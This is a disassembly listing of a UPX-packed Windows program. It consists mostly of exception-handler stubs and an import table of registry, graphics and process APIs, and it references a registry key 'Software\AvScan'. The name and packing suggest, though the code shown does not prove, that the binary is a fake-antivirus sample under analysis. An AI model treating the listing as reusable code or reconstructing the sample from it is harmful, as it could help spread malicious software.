		jmp	loc_40C114
; ---------------------------------------------------------------------------


loc_41BEEF:				; DATA XREF: sub_4104C4+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_426AE8
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		add	eax, 4
		jmp	loc_4011D6
; ---------------------------------------------------------------------------


loc_41BF15:				; DATA XREF: sub_40500B+1ACAo
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_4270F8
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	eax, [ebp+8]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------


loc_41BF38:				; DATA XREF: sub_402467+2o
					; sub_402623+2o ...
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-10h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427128
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	eax, [ebp-10h]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------


loc_41BF5B:				; DATA XREF: sub_4024D9+2o
					; sub_4026BE+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427158
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	eax, [ebp-28h]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------


loc_41BF7E:				; DATA XREF: sub_417A85+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-30h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_426ED4
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	esi, [ebp-40h]
		jmp	loc_4051AD
; ---------------------------------------------------------------------------


loc_41BFAB:				; DATA XREF: sub_417ECD+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-44h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_426F00
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	esi, [ebp-48h]
		jmp	loc_4051AD
; ---------------------------------------------------------------------------


loc_41BFCE:				; DATA XREF: sub_418122+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-4Ch]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_426F2C
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	esi, [ebp-28h]
		jmp	loc_40509E
; ---------------------------------------------------------------------------


loc_41BFF1:				; DATA XREF: UPX0:00426F5Co
		lea	eax, [ebp-14h]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------
		lea	eax, [ebp-20h]
		jmp	loc_4012F3
; ---------------------------------------------------------------------------
		lea	esi, [ebp-2Ch]
		jmp	loc_404C16
; ---------------------------------------------------------------------------
		lea	eax, [ebp-1Ch]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------


loc_41C011:				; DATA XREF: sub_418266+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-30h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_426F78
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	esi, [ebp-24h]
		jmp	loc_40509E
; ---------------------------------------------------------------------------


loc_41C03E:				; DATA XREF: UPX0:00426FA8o
		lea	eax, [ebp-14h]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------
		lea	esi, [ebp-28h]
		jmp	loc_404C16
; ---------------------------------------------------------------------------
		lea	eax, [ebp-18h]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------


loc_41C056:				; DATA XREF: sub_4184BE+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-2Ch]
		xor	ecx, eax
		call	sub_40AC1C
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_426FBC
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-420h]
		jmp	loc_4012FC
; ---------------------------------------------------------------------------


loc_41C086:				; DATA XREF: sub_4186D9+8o
		mov	edx, [esp+8]
		lea	eax, [edx-424h]
		mov	ecx, [edx-428h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_426FE8
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	eax, [ebp-10h]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------
		lea	eax, [ebp-10h]
		jmp	loc_4012F3
; ---------------------------------------------------------------------------


loc_41C0B7:				; DATA XREF: sub_41889D+1Ao
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-40h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	ecx, [edx+214h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_42701C
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		jmp	loc_404C03
; ---------------------------------------------------------------------------


loc_41C0E7:				; DATA XREF: UPX0:0042704Co
		mov	eax, [ebp+8]
		add	eax, 2Ch
		jmp	loc_4012F3
; ---------------------------------------------------------------------------
		mov	eax, [ebp+0Ch]
		jmp	loc_405341
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		add	eax, 3Ch
		push	eax
		call	sub_404C11
		retn
; ---------------------------------------------------------------------------


loc_41C107:				; DATA XREF: sub_418A96+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427060
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0B0h]
		jmp	loc_4091F2
; ---------------------------------------------------------------------------


loc_41C12D:				; DATA XREF: sub_417588+5o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-0B8h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_42708C
		jmp	loc_40C114
; ---------------------------------------------------------------------------


loc_41C14B:				; DATA XREF: sub_406CDA+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_4271B4
		jmp	loc_40C114
; ---------------------------------------------------------------------------


loc_41C166:				; DATA XREF: sub_405F0B+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-1Ch]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427240
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40AD84
; ---------------------------------------------------------------------------


loc_41C189:				; DATA XREF: sub_404A01+2o
					; sub_404B1F+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427270
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	eax, [ebp-18h]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------
		lea	eax, [ebp+0Ch]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------
		lea	eax, [ebp-18h]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------
		lea	eax, [ebp+0Ch]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------
		lea	eax, [ebp-14h]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------
		lea	eax, [ebp+10h]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------
		lea	eax, [ebp-1Ch]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------


loc_41C1DC:				; DATA XREF: sub_404083+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-28h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_4272D0
		jmp	loc_40C114
; ---------------------------------------------------------------------------


loc_41C1F7:				; DATA XREF: UPX0:00427304o
		push	dword ptr [ebp-20h]
		call	sub_40B36B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	eax, [ebp-14h]
		jmp	loc_4012F3
; ---------------------------------------------------------------------------


loc_41C209:				; DATA XREF: sub_4019F2+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-28h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_42733C
		jmp	loc_40C114
; ---------------------------------------------------------------------------


loc_41C224:				; DATA XREF: sub_401652+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-1Ch]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427394
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	esi, [ebp-14h]
		jmp	loc_404C16
; ---------------------------------------------------------------------------


loc_41C247:				; DATA XREF: sub_401304+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-24h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_4273C0
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	eax, [ebp-21Ch]
		jmp	loc_40A2AA
; ---------------------------------------------------------------------------


loc_41C277:				; DATA XREF: sub_408FB6+1Do
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-220h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	ecx, [edx+40Ch]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_4273F0
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	eax, [ebp+0]
		jmp	loc_40A274
; ---------------------------------------------------------------------------
		lea	eax, [ebp+0]
		jmp	loc_40A274
; ---------------------------------------------------------------------------


loc_41C2B2:				; DATA XREF: sub_407CD3+14o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-2Ch]
		xor	ecx, eax
		call	sub_40AC1C
		mov	ecx, [edx+2110h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427490
		jmp	loc_40C114
; ---------------------------------------------------------------------------


loc_41C2DA:				; DATA XREF: sub_406572+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-18h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427520
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_4066D7
; ---------------------------------------------------------------------------
		lea	eax, [ebp-14h]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------
		lea	eax, [ebp-18h]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------
		lea	eax, [ebp-10h]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------


loc_41C315:				; DATA XREF: sub_401BB2+1Ao
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-28h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	ecx, [edx+214h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427568
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	eax, [ebp-10h]
		jmp	loc_4012F3
; ---------------------------------------------------------------------------


loc_41C345:				; DATA XREF: sub_4016D2+1Ao
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-28h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	ecx, [edx+3F4h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427598
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	esi, [ebp-444h]
		jmp	loc_40741F
; ---------------------------------------------------------------------------


loc_41C378:				; DATA XREF: UPX0:004275CCo
		lea	esi, [ebp-440h]
		jmp	loc_40741F
; ---------------------------------------------------------------------------


loc_41C383:				; DATA XREF: sub_4083DE+8o
		mov	edx, [esp+8]
		lea	eax, [edx-444h]
		mov	ecx, [edx-448h]
		xor	ecx, eax
		call	sub_40AC1C
		add	eax, 0Ch
		mov	ecx, [edx-8]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_4275D0
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	esi, [ebp-2Ch]
		jmp	loc_40A268
; ---------------------------------------------------------------------------
		lea	esi, [ebp-28h]
		jmp	loc_40A268
; ---------------------------------------------------------------------------


loc_41C3C1:				; DATA XREF: sub_4075D2+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-30h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427670
		jmp	loc_40C114
; ---------------------------------------------------------------------------


loc_41C3DC:				; DATA XREF: sub_4069AB+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-1Ch]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_4276CC
		jmp	loc_40C114
; ---------------------------------------------------------------------------


loc_41C3F7:				; DATA XREF: UPX0:004276FCo
		jmp	nullsub_1
; ---------------------------------------------------------------------------


loc_41C3FC:				; DATA XREF: sub_406482+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-18h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_42772C
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-30h]
		jmp	loc_405180
; ---------------------------------------------------------------------------


loc_41C41F:				; DATA XREF: sub_406130+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-5Ch]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427758
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	loc_405180
; ---------------------------------------------------------------------------


loc_41C442:				; DATA XREF: sub_405CA8+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-58h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427788
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		add	eax, 8
		jmp	loc_405990
; ---------------------------------------------------------------------------


loc_41C468:				; DATA XREF: sub_40587D+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_4277B8
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		add	eax, 8
		jmp	loc_405990
; ---------------------------------------------------------------------------


loc_41C48E:				; DATA XREF: sub_4057F4+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-10h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_4277E8
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		jmp	loc_405341
; ---------------------------------------------------------------------------


loc_41C4B1:				; DATA XREF: sub_4052AA+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-10h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427818
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	esi, [ebp-48h]
		jmp	loc_4051AD
; ---------------------------------------------------------------------------


loc_41C4D4:				; DATA XREF: sub_4051B7+8o
		mov	edx, [esp+8]
		lea	eax, [edx-6Ch]
		mov	ecx, [edx-70h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427848
		jmp	loc_40C114
; ---------------------------------------------------------------------------


loc_41C4EF:				; DATA XREF: UPX0:0042787Co
		push	dword ptr [ebp-18h]
		call	sub_40AC11
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41C4F9:				; DATA XREF: sub_4050AA+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-20h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_4278AC
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		jmp	loc_404C03
; ---------------------------------------------------------------------------


loc_41C51C:				; DATA XREF: UPX0:004278DCo
		mov	eax, [ebp-10h]
		add	eax, 2Ch
		jmp	loc_4012F3
; ---------------------------------------------------------------------------


loc_41C527:				; DATA XREF: sub_404B59+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_4278E0
		jmp	loc_40C114
; ---------------------------------------------------------------------------


loc_41C542:				; DATA XREF: sub_403FBF+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-1Ch]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_42793C
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		add	eax, 28h
		jmp	sub_404C88
; ---------------------------------------------------------------------------


loc_41C568:				; DATA XREF: sub_401E62+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-10h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427968
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	esi, [ebp-284h]
		jmp	loc_4051AD
; ---------------------------------------------------------------------------


loc_41C58E:				; DATA XREF: UPX0:0042799Co
		lea	esi, [ebp-2A0h]
		jmp	loc_4051AD
; ---------------------------------------------------------------------------


loc_41C599:				; DATA XREF: sub_4098E0+8o
		mov	edx, [esp+8]
		lea	eax, [edx-2BCh]
		mov	ecx, [edx-2C0h]
		xor	ecx, eax
		call	sub_40AC1C
		add	eax, 0Ch
		mov	ecx, [edx-8]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_4279A0
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	esi, [ebp+8]
		jmp	loc_404C16
; ---------------------------------------------------------------------------


loc_41C5CF:				; DATA XREF: sub_40783F+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-10h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_4279D0
		jmp	loc_40C114
; ---------------------------------------------------------------------------


loc_41C5EA:				; DATA XREF: sub_4070E8+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-1Ch]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427A2C
		jmp	loc_40C114
; ---------------------------------------------------------------------------


loc_41C605:				; DATA XREF: sub_406A3F+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-1Ch]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427A84
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	eax, [ebp-10h]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------


loc_41C628:				; DATA XREF: UPX0:00427AB4o
		lea	eax, [ebp-14h]
		jmp	loc_4011D6
; ---------------------------------------------------------------------------


loc_41C630:				; DATA XREF: sub_40534A+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-18h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427AB8
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	eax, [ebp-60h]
		jmp	loc_407751
; ---------------------------------------------------------------------------


loc_41C653:				; DATA XREF: UPX0:00427AECo
		lea	esi, [ebp-6Ch]
		jmp	loc_404C16
; ---------------------------------------------------------------------------


loc_41C65B:				; DATA XREF: sub_4080FF+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-70h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	ecx, [edx-4]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427AF0
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	esi, [ebp-28h]
		jmp	loc_404C16
; ---------------------------------------------------------------------------


loc_41C688:				; DATA XREF: UPX0:00427B24o
		lea	eax, [ebp+0]
		jmp	loc_40A274
; ---------------------------------------------------------------------------


loc_41C690:				; DATA XREF: sub_4078AB+1Ao
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-2Ch]
		xor	ecx, eax
		call	sub_40AC1C
		mov	ecx, [edx+410h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427B5C
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+8]
		jmp	sub_404B59
; ---------------------------------------------------------------------------


loc_41C6C0:				; DATA XREF: UPX0:00427B8Co
		mov	eax, [ebp+8]
		add	eax, 78h
		jmp	loc_408D89
; ---------------------------------------------------------------------------


loc_41C6CB:				; DATA XREF: sub_409533+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427B90
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+8]
		jmp	sub_404B59
; ---------------------------------------------------------------------------


loc_41C6EE:				; DATA XREF: sub_408D98+2o
					; sub_4091FA+2o ...
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-10h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427BC0
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	edi, [ebp-70h]
		jmp	sub_40927A
; ---------------------------------------------------------------------------


loc_41C711:				; DATA XREF: sub_40A147+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-74h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427BF0
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	edi, [ebp-70h]
		jmp	sub_409433
; ---------------------------------------------------------------------------


loc_41C734:				; DATA XREF: sub_40A0E8+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-74h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427C20
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		lea	edi, [ebp-0B0h]
		jmp	sub_40961F
; ---------------------------------------------------------------------------


loc_41C75A:				; DATA XREF: sub_409FB8+8o
		mov	edx, [esp+8]
		lea	eax, [edx-0F4h]
		mov	ecx, [edx-0F8h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427C50
		jmp	loc_40C114
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		add	eax, 40h
		jmp	loc_408D89
; ---------------------------------------------------------------------------


loc_41C786:				; DATA XREF: UPX0:00427C84o
		mov	eax, [ebp+8]
		add	eax, 48h
		jmp	loc_408D89
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		add	eax, 50h
		jmp	loc_408D89
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		add	eax, 58h
		jmp	loc_408D89
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		add	eax, 60h
		jmp	loc_408D89
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		add	eax, 68h
		jmp	loc_408D89
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		add	eax, 70h
		jmp	loc_408D89
; ---------------------------------------------------------------------------


loc_41C7C8:				; DATA XREF: sub_409BC7+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-10h]
		xor	ecx, eax
		call	sub_40AC1C
		mov	eax, offset dword_427CB0
		jmp	loc_40C114
; ---------------------------------------------------------------------------


loc_41C7E3:				; DATA XREF: UPX0:0041D3ECo
		push	esi
		mov	esi, offset dword_42F0B4
		mov	ecx, offset dword_42F0C4
		mov	dword_42EE90, esi
		call	sub_401154
		test	eax, eax
		jge	short loc_41C806
		mov	byte_42EE8C, 1
		jmp	short loc_41C810
; ---------------------------------------------------------------------------


loc_41C806:				; CODE XREF: UPX0:0041C7FBj
		mov	dword_42F0B8, 24h


loc_41C810:				; CODE XREF: UPX0:0041C804j
		push	offset loc_41C88C
		mov	dword_42F0B4, offset off_424BB0
		mov	dword_42EEA4, esi
		call	sub_40B770
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41C82D:				; DATA XREF: UPX0:0041D3F0o
		push	edi
		push	offset aSoftwareAvsc_0 ; "Software\\AvScan"
		mov	edi, offset dword_42F0E4
		call	sub_417072
		push	offset loc_41C8A0
		call	sub_40B770
		pop	ecx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C84A:				; DATA XREF: UPX0:0041D3E0o
		mov	ecx, offset dword_42E34C
		call	sub_40AA42
		push	offset loc_41C8AD
		call	sub_40B770
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41C860:				; DATA XREF: UPX0:0041D3E4o
		mov	ecx, offset dword_42E388
		call	sub_40AA1C
		push	offset loc_41C8B7
		call	sub_40B770
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41C876:				; DATA XREF: UPX0:0041D3E8o
		mov	ecx, offset dword_42E3B4
		call	sub_40AB4B
		push	offset loc_41C8C1
		call	sub_40B770
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41C88C:				; DATA XREF: UPX0:loc_41C810o
		mov	dword_42F0B4, offset off_424BB0
		mov	eax, offset dword_42F0B4
		jmp	sub_4072C1
; ---------------------------------------------------------------------------


loc_41C8A0:				; DATA XREF: UPX0:0041C83Do
		push	dword_42F0E4
		call	dword_41D000	; RegCloseKey
		retn
; ---------------------------------------------------------------------------


loc_41C8AD:				; DATA XREF: UPX0:0041C854o
		mov	ecx, offset dword_42E34C
		jmp	loc_40AA06
; ---------------------------------------------------------------------------


loc_41C8B7:				; DATA XREF: UPX0:0041C86Ao
		mov	ecx, offset dword_42E388
		jmp	loc_40AAF1
; ---------------------------------------------------------------------------


loc_41C8C1:				; DATA XREF: UPX0:0041C880o
		mov	ecx, offset dword_42E3B4
		jmp	loc_40AB09
; ---------------------------------------------------------------------------


loc_41C8CB:				; DATA XREF: sub_40B45F+42o
		mov	dword_42E3E0, offset off_41D4DC
		mov	ecx, offset dword_42E3E0
		jmp	sub_40AD84
; ---------------------------------------------------------------------------
		align 10h
		dd 1C8h	dup(0)
dword_41D000	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_40747A+4Cr ...
dword_41D004	dd 77DFCCEFh	; resolved to->ADVAPI32.RegQueryInfoKeyWdword_41D008	dd 77DF9884h	; resolved to->ADVAPI32.RegDeleteKeyW					; sub_4083DE+575r
dword_41D00C	dd 77DDEEF1h	; resolved to->ADVAPI32.RegDeleteValueWdword_41D010	dd 77DD6A78h	; resolved to->ADVAPI32.RegOpenKeyExW					; sub_4083DE+252r ...
dword_41D014	dd 77DD79A1h	; resolved to->ADVAPI32.RegEnumKeyExWdword_41D018	dd 77DDD7CCh	; resolved to->ADVAPI32.RegSetValueExW					; sub_407CD3+2E0r ...
dword_41D01C	dd 77DD6FC8h	; resolved to->ADVAPI32.RegQueryValueExW					; sub_416FB1+31r
dword_41D020	dd 77DD7535h	; resolved to->ADVAPI32.RegCreateKeyExW					; sub_417072+17r
		align 8
dword_41D028	dd 77F16F89h	; resolved to->GDI32.BitBlt					; sub_403EA4+44r
dword_41D02C	dd 77F16E6Fh	; resolved to->GDI32.DeleteDC					; sub_403DD3+9Er ...
dword_41D030	dd 77F161FFh	; resolved to->GDI32.CreateBitmap					; sub_409FB8+7Br ...
dword_41D034	dd 77F15A7Ah	; resolved to->GDI32.GetDeviceCaps					; sub_40366A+F5r ...
dword_41D038	dd 77F16C0Ah	; resolved to->GDI32.DeleteObject					; sub_402874+10Dr ...
dword_41D03C	dd 77F15B80h	; resolved to->GDI32.SelectObject					; sub_402874+14Br ...
dword_41D040	dd 77F15FF0h	; resolved to->GDI32.CreateCompatibleDC					; sub_403DD3+5Fr
dword_41D044	dd 77F1701Ah	; resolved to->GDI32.CreateCompatibleBitmap					; sub_403DD3+7Br ...
dword_41D048	dd 77F1836Fh	; resolved to->GDI32.GetObjectWdword_41D04C	dd 77F161D1h	; resolved to->GDI32.GetStockObjectdword_41D050	dd 77F1A779h	; resolved to->GDI32.SetDIBits					; sub_409FB8+C6r ...
dword_41D054	dd 77F161B5h	; resolved to->GDI32.CreateSolidBrush					; sub_402874+F1r
		dd 0
dword_41D05C	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_41D060	dd 7C809FB5h	; resolved to->KERNEL32.LoadResourcedword_41D064	dd 7C802332h	; resolved to->KERNEL32.CreateProcessWdword_41D068	dd 7C801AF1h	; resolved to->KERNEL32.LoadLibraryExWdword_41D06C	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObject					; sub_4098E0+9Cr ...
dword_41D070	dd 7C80A017h	; resolved to->KERNEL32.SetEvent					; sub_40961F+13r ...
dword_41D074	dd 7C802540h	; resolved to->KERNEL32.WaitForSingleObjectEx					; UPX0:0040946Cr ...
dword_41D078	dd 7C80E43Dh	; resolved to->KERNEL32.GetModuleHandleW					; sub_408BAA+F8r ...
dword_41D07C	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; sub_40A398+9Dr ...
dword_41D080	dd 7C802442h	; resolved to->KERNEL32.Sleep					; UPX0:00409504r ...
